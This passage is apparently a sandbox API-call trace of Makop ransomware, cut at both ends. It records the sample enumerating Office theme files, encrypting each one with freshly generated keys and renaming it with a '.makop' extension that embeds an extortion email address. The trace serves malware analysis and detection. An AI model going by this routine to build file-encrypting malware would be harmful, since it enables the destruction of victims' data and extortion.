SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.130] SetEndOfFile (hFile=0x138) returned 1 [0099.138] GetProcessHeap () returned 0x48a0000 [0099.138] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.138] GetProcessHeap () returned 0x48a0000 [0099.138] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.138] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.139] CloseHandle (hObject=0x138) returned 1 [0099.139] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.139] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0099.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.140] GetProcessHeap () returned 0x48a0000 [0099.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.140] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.140] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.140] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0099.145] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.146] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.146] GetProcessHeap () returned 0x48a0000 [0099.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.146] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.146] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.146] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.146] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.146] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.147] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.147] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.147] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.147] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.147] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.147] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.147] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c6b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4c6b, lpOverlapped=0x0) returned 1 [0099.149] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c70) returned 1 [0099.150] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.150] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4c70, lpOverlapped=0x0) returned 1 [0099.150] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.150] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.152] SetEndOfFile (hFile=0x138) returned 1 [0099.159] GetProcessHeap () returned 0x48a0000 [0099.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.159] GetProcessHeap () returned 0x48a0000 [0099.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.159] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.160] CloseHandle (hObject=0x138) returned 1 [0099.160] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.161] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.161] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0099.161] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned 63 [0099.161] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*") returned 67 [0099.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.162] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.162] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.162] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0099.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.163] GetProcessHeap () returned 0x48a0000 [0099.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.163] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.163] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.163] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0099.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.169] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.169] GetProcessHeap () returned 0x48a0000 [0099.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.169] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.169] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.169] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.169] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.169] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.170] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.170] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.170] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.170] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.170] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.171] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x58f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x58f, lpOverlapped=0x0) returned 1 [0099.171] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x590, dwBufLen=0x590 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x590) returned 1 [0099.171] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.171] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x590, lpOverlapped=0x0) returned 1 [0099.171] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.171] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.171] SetEndOfFile (hFile=0x138) returned 1 [0099.178] GetProcessHeap () returned 0x48a0000 [0099.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.178] GetProcessHeap () returned 0x48a0000 [0099.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.178] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.180] CloseHandle (hObject=0x138) returned 1 [0099.180] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0099.180] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM") returned 75 [0099.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.181] GetProcessHeap () returned 0x48a0000 [0099.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.181] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.184] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.184] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0099.189] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.189] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.189] GetProcessHeap () returned 0x48a0000 [0099.189] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.189] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.190] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.190] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.190] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.190] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.190] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.190] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.191] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.191] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.191] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.191] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.191] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb30e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb30e, lpOverlapped=0x0) returned 1 [0099.193] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb310, dwBufLen=0xb310 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb310) returned 1 [0099.194] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.194] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb310, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb310, lpOverlapped=0x0) returned 1 [0099.194] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.195] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.195] SetEndOfFile (hFile=0x138) returned 1 [0099.202] GetProcessHeap () returned 0x48a0000 [0099.202] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.203] GetProcessHeap () returned 0x48a0000 [0099.203] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.203] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.208] CloseHandle (hObject=0x138) returned 1 [0099.208] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0099.208] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF") returned 75 [0099.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.208] GetProcessHeap () returned 0x48a0000 [0099.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.209] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.209] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.209] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0099.214] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.214] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.214] GetProcessHeap () returned 0x48a0000 [0099.214] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.214] CryptEncrypt 